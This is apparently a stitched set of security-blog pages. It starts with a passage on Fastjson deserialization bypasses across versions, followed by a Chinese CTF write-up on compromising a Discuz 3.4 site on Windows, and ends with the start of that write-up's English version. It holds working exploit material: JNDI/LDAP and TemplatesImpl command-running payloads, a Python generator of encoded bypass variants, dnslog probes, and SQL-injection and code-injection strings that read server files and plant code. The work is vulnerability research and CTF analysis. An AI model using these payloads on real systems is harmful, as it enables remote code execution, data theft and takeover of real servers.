123456789101112131415package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test6 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// JSON.parse(payload); success//JSON.parseObject(payload); success//JSON.parseObject(payload,Object.class); successJSON.parseObject(payload, User.class);}}result:
ver=1.2.44
The 1.2.44 version fixes 1.2.43 bypass and handles
[
:Deleted the previous judgment of the beginning of
L
, the end of;
, and the beginning ofLL
, changed it to an exception of[
at the beginning or an exception at the end of;
, So the previous bypasses were fixed.ver>=1.2.45&ver<=1.2.46
During these two versions, a blacklist was added and no checkAutotype bypass occurred. Several payloads in the blacklist are given in the RCE Payload at the back, so I won't write them here.
ver=1.2.47
This version has been successfully bypassed without enabling autotype. Analyze this bypass: 1. The use of
java.lang.class
, this class is not in the blacklist, so checkAutotype can be over. 2. The deserializer corresponding to thisjava.lang.class
class is MiscCodec. When deserialize, it will take theval
key value in the json string and load the class corresponding to this val. If fastjson cache is true, it will cache the class corresponding to this val to In the global map 3. If the class with val name is loaded again, autotype is not enabled (because it will detect the black and white list first, so this vulnerability autotype is turned on but not successful), the next step is try to obtain this class from the global map, if it is , return directly.There have been many analysis of this vulnerability. For details, please refer to this article.
payload:
1234567891011{"rand1": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"rand2": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}Test(jdk8u102,fastjson 1.2.47):
1234567891011121314151617181920212223package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test7 {public static void main(String[] args) {String payload = "{\n" +" \"rand1\": {\n" +" \"@type\": \"java.lang.Class\", \n" +" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +" }, \n" +" \"rand2\": {\n" +" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +" \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +" \"autoCommit\": true\n" +" }\n" +"}";//JSON.parse(payload); success//JSON.parseObject(payload); success//JSON.parseObject(payload,Object.class); successJSON.parseObject(payload, User.class);}}result:
ver>=1.2.48&ver<1.2.68
Fixed the bypass of 1.2.47 in 1.2.48. In MiscCodec, where the loadClass is processed, the cache is set to false:
Between 1.2.48 and the latest version 1.2.68, there are added blacklist categories.
ver=1.2.68
1.2.68 is the latest version at present. Safemode was introduced in 1.2.68. When safemode is turned on, @type this specialkey is completely useless. Both whitelist and blacklist do not support autoType.
In this version, in addition to adding a blacklist, a blacklist is also subtracted:
I don't know if there is any other security personnel running out of this blacklist, whether it is a package name or a class name, and then it can be used for malicious exploitation. It is a bit strange anyway.
Detect Fastjson
The more commonly method of detecting Fastjson is to use the dnslog. After detecting it, use RCE Payload one by one. Colleagues said that it is possible to get the paylaod of the echo, but the target container/framework is different, and the echo method will be different. This is a bit difficult ..., let's use dnslog.
dnslog detect
At the present, fastjson detection is common to detect by dnslog mode, in which Inet4Address and Inet6Address are available until 1.2.67. Here are some payloads to be seen (combined with the rand: {} method above, which is more general):
12345678910111213141516171819{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}Some malformed payloads, but can still trigger dnslog:{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0Some RCE Payload
I didn't collect the payload about fastjson before, and I didn't run the jar package .... The following lists are the payloads circulated on the network and some of them deducted from marshalsec and transformed into a payload suitable for fastjson. The jdk version for each payload will not be tested one by one, I don't know how much time it takes to test this. The actual use basically can't be know in this version, whether autotype is turned on or not, the user's configuration, and the user added the blacklist/white or not. so just pass the constructed payload one by one. The basic payload:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586payload1:{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}payload2:{"rand1": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],"_name": "aaa","_tfactory": {},"_outputProperties": {}}}payload3:{"rand1": {"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties": {"data_source": "ldap://localhost:1389/Object"}}}payload4:{"rand1": {"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean","targetBeanName": "ldap://localhost:1389/Object","propertyPath": "foo","beanFactory": {"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources": ["ldap://localhost:1389/Object"]}}}payload5:{"rand1": Set[{"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor","beanFactory": {"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources": ["ldap://localhost:1389/obj"]},"adviceBeanName": "ldap://localhost:1389/obj"},{"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"}]}payload6:{"rand1": {"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"}}payload7:{"rand1": {"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName": "ldap://localhost:1389/Object","loginTimeout": 0}}...and moreThe following is a small script that can transfer the basic payload out of various bypass variants, and also adds
\u
,\x
encoding forms:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103#!usr/bin/env python# -*- coding:utf-8 -*-"""@author: longofo@file: fastjson_fuzz.py@time: 2020/05/07"""import jsonfrom json import JSONDecodeErrorclass FastJsonPayload:def __init__(self, base_payload):try:json.loads(base_payload)except JSONDecodeError as ex:raise exself.base_payload = base_payloaddef gen_common(self, payload, func):tmp_payload = json.loads(payload)dct_objs = [tmp_payload]while len(dct_objs) > 0:tmp_objs = []for dct_obj in dct_objs:for key in dct_obj:if key == "@type":dct_obj[key] = func(dct_obj[key])if type(dct_obj[key]) == dict:tmp_objs.append(dct_obj[key])dct_objs = tmp_objsreturn json.dumps(tmp_payload)# Increase the value of @type by the beginning of L, the end of ;def gen_payload1(self, payload: str):return self.gen_common(payload, lambda v: "L" + v + ";")# Increase the value of @type by the beginning of LL, the end of ;;def gen_payload2(self, payload: str):return self.gen_common(payload, lambda v: "LL" + v + ";;")# Carry on the value of @type \u formatdef gen_payload3(self, payload: str):return self.gen_common(payload,lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")# Carry on the value of @type \x formatdef gen_payload4(self, payload: str):return self.gen_common(payload,lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")# Generate cache bypass payloaddef gen_payload5(self, payload: str):cache_payload = {"rand1": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}}cache_payload["rand2"] = json.loads(payload)return json.dumps(cache_payload)def gen(self):payloads = []payload1 = self.gen_payload1(self.base_payload)yield payload1payload2 = self.gen_payload2(self.base_payload)yield payload2payload3 = self.gen_payload3(self.base_payload)yield payload3payload4 = self.gen_payload4(self.base_payload)yield payload4payload5 = self.gen_payload5(self.base_payload)yield payload5payloads.append(payload1)payloads.append(payload2)payloads.append(payload5)for payload in payloads:yield self.gen_payload3(payload)yield self.gen_payload4(payload)if __name__ == '__main__':fjp = FastJsonPayload('''{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}''')for payload in fjp.gen():print(payload)print()For example JdbcRowSetImpl results:
123456789101112131415161718192021{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}Some people also scan maven warehouse packages to find malicious exploits to conform jackson and fastjson. It seems that most of them are looking for jndi-type vulnerabilities. For the blacklist, you can look at this project, it ran to version 1.2.62, most blacklists ran out, but many were package, which specific class still have to look for one by one in the package.
Reference
- https://paper.seebug.org/994/#0x03
- https://paper.seebug.org/1155/
- https://paper.seebug.org/994/
- https://paper.seebug.org/292/
- https://paper.seebug.org/636/
- https://www.anquanke.com/post/id/182140#h2-1
- https://github.com/LeadroyaL/fastjson-blacklist
- http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
- http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
- http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
- https://xz.aliyun.com/t/7027#toc-4
- <https://zhuanlan.zhihu.com/p/99075925
- ...
Too many, thanks all people for their hard work.
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1193/
- @Type here corresponds to the commonly autotype function , simply understood that fastjson will automatically map the value of
-
空指针-Base on windows Writeup — 最新版DZ3.4实战渗透
作者:LoRexxar'@知道创宇404实验室
时间:2020年5月11日
英文链接: https://paper.seebug.org/1205/周末看了一下这次空指针的第三次Web公开赛,稍微研究了下发现这是一份最新版DZ3.4几乎默认配置的环境,我们需要在这样一份几乎真实环境下的DZ中完成Get shell。这一下子提起了我的兴趣,接下来我们就一起梳理下这个渗透过程。
与默认环境的区别是,我们这次拥有两个额外的条件。
1、Web环境的后端为Windows
2、我们获得了一份config文件,里面有最重要的authkey得到这两个条件之后,我们开始这次的渗透过程。
以下可能会多次提到的出题人写的DZ漏洞整理
authkey有什么用?
12/ ------------------------- CONFIG SECURITY -------------------------- //$_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';authkey是DZ安全体系里最重要的主密钥,在DZ本体中,涉及到密钥相关的,基本都是用
authkey
和cookie中的saltkey加密构造的。当我们拥有了这个authkey之后,我们可以计算DZ本体各类操作相关的formhash(DZ所有POST相关的操作都需要计算formhash)
配合authkey,我们可以配合
source/include/misc/misc_emailcheck.php
中的修改注册邮箱项来修改任意用户绑定的邮箱,但管理员不能使用修改找回密码的api。可以用下面的脚本计算formhash
123456$username = "ddog";$uid = 51;$saltkey = "SuPq5mmP";$config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E";$authkey = md5($config_authkey.$saltkey);$formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);当我们发现光靠authkey没办法进一步渗透的时候,我们把目标转回到hint上。
1、Web环境的后端为Windows
2、dz有正常的备份数据,备份数据里有重要的key值windows短文件名安全问题
在2019年8月,dz曾爆出过这样一个问题。
在windows环境下,有许多特殊的有关通配符类型的文件名展示方法,其中不仅仅有
<>"
这类可以做通配符的符号,还有类似于~
的省略写法。这个问题由于问题的根在服务端,所以cms无法修复,所以这也就成了一个长久的问题存在。具体的细节可以参考下面这篇文章:
配合这两篇文章,我们可以直接去读数据库的备份文件,这个备份文件存在
1/data/backup_xxxxxx/200509_xxxxxx-1.sql我们可以直接用
1http://xxxxx/data/backup~1/200507~2.sql拿到数据库文件
从数据库文件中,我们可以找到UC_KEY(dz)
在
pre_ucenter_applications
的authkey字段找到UC_KEY(dz)至此我们得到了两个信息:
1234567uckeyx9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5authkey87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E当我们有了这两个key之后,我们可以直接调用uc_client的uc.php任意api。,后面的进一步利用也是建立在这个基础上。
uc.php api 利用
这里我们主要关注
/api/uc.php
通过
UC_KEY
来计算code,然后通过authkey
计算formhash,我们就可以调用当前api下的任意函数,而在这个api下有几个比较重要的操作。我们先把目光集中到
updateapps
上来,这个函数的特殊之处在于由于DZ直接使用preg_replace
替换了UC_API
,可以导致后台的getshell。具体详细分析可以看,这个漏洞最初来自于@dawu,我在CSS上的演讲中提到过这个后台getshell:
- https://paper.seebug.org/1144/#getwebshell
- https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2
根据这里的操作,我们可以构造
$code = 'time='.time().'&action=updateapps';
来触发updateapps,可以修改配置中的
UC_API
,但是在之前的某一个版本更新中,这里加入了条件限制。1234if($post['UC_API']) {$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);unset($post['UC_API']);}由于过滤了单引号,导致我们注入的uc api不能闭合引号,所以单靠这里的api我们没办法完成getshell。
换言之,我们必须登录后台使用后台的修改功能,才能配合getshell。至此,我们的渗透目标改为如何进入后台。
如何进入DZ后台?
首先我们必须明白,DZ的前后台账户体系是分离的,包括uc api在内的多处功能,login都只能登录前台账户,
也就是说,进入DZ的后台的唯一办法就是必须知道DZ的后台密码,而这个密码是不能通过前台的忘记密码来修改的,所以我们需要寻找办法来修改密码。
这里主要有两种办法,也对应两种攻击思路:
1、配合报错注入的攻击链
2、使用数据库备份还原修改密码1、配合报错注入的攻击链
继续研究uc.php,我在renameuser中找到一个注入点。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263function renameuser($get, $post) {global $_G;if(!API_RENAMEUSER) {return API_RETURN_FORBIDDEN;}$tables = array('common_block' => array('id' => 'uid', 'name' => 'username'),'common_invite' => array('id' => 'fuid', 'name' => 'fusername'),'common_member_verify_info' => array('id' => 'uid', 'name' => 'username'),'common_mytask' => array('id' => 'uid', 'name' => 'username'),'common_report' => array('id' => 'uid', 'name' => 'username'),'forum_thread' => array('id' => 'authorid', 'name' => 'author'),'forum_activityapply' => array('id' => 'uid', 'name' => 'username'),'forum_groupuser' => array('id' => 'uid', 'name' => 'username'),'forum_pollvoter' => array('id' => 'uid', 'name' => 'username'),'forum_post' => array('id' => 'authorid', 'name' => 'author'),'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'),'forum_ratelog' => array('id' => 'uid', 'name' => 'username'),'home_album' => array('id' => 'uid', 'name' => 'username'),'home_blog' => array('id' => 'uid', 'name' => 'username'),'home_clickuser' => array('id' => 'uid', 'name' => 'username'),'home_docomment' => array('id' => 'uid', 'name' => 'username'),'home_doing' => array('id' => 'uid', 'name' => 'username'),'home_feed' => array('id' => 'uid', 'name' => 'username'),'home_feed_app' => array('id' => 'uid', 'name' => 'username'),'home_friend' => array('id' => 'fuid', 'name' => 'fusername'),'home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'),'home_notification' => array('id' => 'authorid', 'name' => 'author'),'home_pic' => array('id' => 'uid', 'name' => 'username'),'home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'),'home_share' => array('id' => 'uid', 'name' => 'username'),'home_show' => array('id' => 'uid', 'name' => 'username'),'home_specialuser' => array('id' => 'uid', 'name' => 'username'),'home_visitor' => array('id' => 'vuid', 'name' => 'vusername'),'portal_article_title' => array('id' => 'uid', 'name' => 'username'),'portal_comment' => array('id' => 'uid', 'name' => 'username'),'portal_topic' => array('id' => 'uid', 'name' => 'username'),'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'),);if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) && isset($_G['setting']['membersplit'])){C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername]));}loadcache("posttableids");if($_G['cache']['posttableids']) {foreach($_G['cache']['posttableids'] AS $tableid) {$tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author');}}foreach($tables as $table => $conf) {DB::query("UPDATE ".DB::table($table)." SET `$conf[name]`='$get[newusername]' WHERE `$conf[id]`='$get[uid]'");}return API_RETURN_SUCCEED;}在函数的最下面,
$get[newusername]
被直接拼接进了update语句中。但可惜的是,这里链接数据库默认使用mysqli,并不支持堆叠注入,所以我们没办法直接在这里执行update语句来更新密码,这里我们只能构造报错注入来获取数据。
1$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';这里值得注意的是,DZ自带的注入waf挺奇怪的,核心逻辑在
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697\source\class\discuz\discuz_database.php line 375if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false && strpos($sql, '"') === false) {$clean = preg_replace("/'(.+?)'/s", '', $sql);} else {$len = strlen($sql);$mark = $clean = '';for ($i = 0; $i < $len; $i++) {$str = $sql[$i];switch ($str) {case '`':if(!$mark) {$mark = '`';$clean .= $str;} elseif ($mark == '`') {$mark = '';}break;case '\'':if (!$mark) {$mark = '\'';$clean .= $str;} elseif ($mark == '\'') {$mark = '';}break;case '/':if (empty($mark) && $sql[$i + 1] == '*') {$mark = '/*';$clean .= $mark;$i++;} elseif ($mark == '/*' && $sql[$i - 1] == '*') {$mark = '';$clean .= '*';}break;case '#':if (empty($mark)) {$mark = $str;$clean .= $str;}break;case "\n":if ($mark == '#' || $mark == '--') {$mark = '';}break;case '-':if (empty($mark) && substr($sql, $i, 3) == '-- ') {$mark = '-- ';$clean .= $mark;}break;default:break;}$clean .= $mark ? '' : $str;}}if(strpos($clean, '@') !== false) {return '-3';}$clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));if (self::$config['afullnote']) {$clean = str_replace('/**/', '', $clean);}if (is_array(self::$config['dfunction'])) {foreach (self::$config['dfunction'] as $fun) {if (strpos($clean, $fun . '(') !== false)return '-1';}}if (is_array(self::$config['daction'])) {foreach (self::$config['daction'] as $action) {if (strpos($clean, $action) !== false)return '-3';}}if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {return '-2';}if (is_array(self::$config['dnote'])) {foreach (self::$config['dnote'] as $note) {if (strpos($clean, $note) !== false)return '-4';}}然后config中相关的配置为
123456789101112131415161718$_config['security']['querysafe']['dfunction']['0'] = 'load_file';$_config['security']['querysafe']['dfunction']['1'] = 'hex';$_config['security']['querysafe']['dfunction']['2'] = 'substring';$_config['security']['querysafe']['dfunction']['3'] = 'if';$_config['security']['querysafe']['dfunction']['4'] = 'ord';$_config['security']['querysafe']['dfunction']['5'] = 'char';$_config['security']['querysafe']['daction']['0'] = '@';$_config['security']['querysafe']['daction']['1'] = 'intooutfile';$_config['security']['querysafe']['daction']['2'] = 'intodumpfile';$_config['security']['querysafe']['daction']['3'] = 'unionselect';$_config['security']['querysafe']['daction']['4'] = '(select';$_config['security']['querysafe']['daction']['5'] = 'unionall';$_config['security']['querysafe']['daction']['6'] = 'uniondistinct';$_config['security']['querysafe']['dnote']['0'] = '/*';$_config['security']['querysafe']['dnote']['1'] = '*/';$_config['security']['querysafe']['dnote']['2'] = '#';$_config['security']['querysafe']['dnote']['3'] = '--';$_config['security']['querysafe']['dnote']['4'] = '"';这道题目特殊的地方在于,他开启了
afullnote
123if (self::$config['afullnote']) {$clean = str_replace('/**/', '', $clean);}由于
/**/
被替换为空,所以我们可以直接用前面的逻辑把select加入到这中间,之后被替换为空,就可以绕过这里的判断。当我们得到一个报错注入之后,我们尝试读取文件内容,发现由于mysql是
5.5.29
,所以我们可以直接读取服务器上的任意文件。1$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';思路走到这里出现了断层,因为我们没办法知道web路径在哪里,所以我们没办法直接读到web文件,这里我僵持了很久,最后还是因为第一个人做出题目后密码是弱密码,我直接查出来进了后台。
在事后回溯的过程中,发现还是有办法的,虽然说对于windows来说,web的路径很灵活,但是实际上对于集成环境来说,一般都安装在c盘下,而且一般人也不会去动服务端的路径。常见的windows集成环境主要有phpstudy和wamp,这两个路径分别为
12- /wamp64/www/- /phpstudy_pro/WWW/找到相应的路径之后,我们可以读取
\uc_server\data\config.inc.php
得到uc server的UC_KEY
.之后我们可以直接调用
/uc_server/api/dpbak.php
中定义的1234567891011121314151617181920212223function sid_encode($username) {$ip = $this->onlineip;$agent = $_SERVER['HTTP_USER_AGENT'];$authkey = md5($ip.$agent.UC_KEY);$check = substr(md5($ip.$agent), 0, 8);return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800));}function sid_decode($sid) {$ip = $this->onlineip;$agent = $_SERVER['HTTP_USER_AGENT'];$authkey = md5($ip.$agent.UC_KEY);$s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);if(empty($s)) {return FALSE;}@list($username, $check) = explode("\t", $s);if($check == substr(md5($ip.$agent), 0, 8)) {return $username;} else {return FALSE;}}构造管理员的sid来绕过权限验证,通过这种方式我们可以修改密码并登录后台。
2、使用数据库备份还原修改密码
事实上,当上一种攻击方式跟到uc server的
UC_KEY
时,就不难发现,在/uc_server/api/dbbak.php
中有许多关于数据库备份与恢复的操作,这也是我之前没发现的点。事实上,在
/api/dbbak.php
就有一模一样的代码和功能,而那个api只需要DZ的UC_KEY
就可以操作,我们可以在前台找一个地方上传,然后调用备份恢复覆盖数据库文件,这样就可以修改管理员的密码。后台getshell
登录了之后就比较简单了,首先
修改uc api 为
1http://127.0.0.1/uc_server');phpinfo();//然后使用预先准备poc更新uc api
这里返回11就可以了
写在最后
整道题目主要围绕的DZ的核心密钥安全体系,实际上除了在windows环境下,几乎没有其他的特异条件,再加上短文件名问题原因主要在服务端,我们很容易找到备份文件,在找到备份文件之后,我们可以直接从数据库获得最重要的authkey和uc key,接下来的渗透过程就顺理成章了。
从这篇文章中,你也可以窥得在不同情况下利用方式得拓展,配合原文阅读可以获得更多的思路。
REF
- https://paper.seebug.org/1144/
- https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2
- https://lorexxar.cn/2017/08/31/dz-authkey/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1197/
-
NULL Pointer 3th Web Challenge Writeup — The latest version of DZ3.4 penetration
Author:LoRexxar@Knownsec 404 Team
Time: May 11, 2020
Chinese version: https://paper.seebug.org/1197/I took a look at the third Web Open of the null pointer this weekend, and after a little research, I found that this is the latest version of the DZ3.4 environment with almost default configuration. We need to pwn it in such a DZ under almost real environment. This moment raised my interest, and then we will sort out the penetration process together.
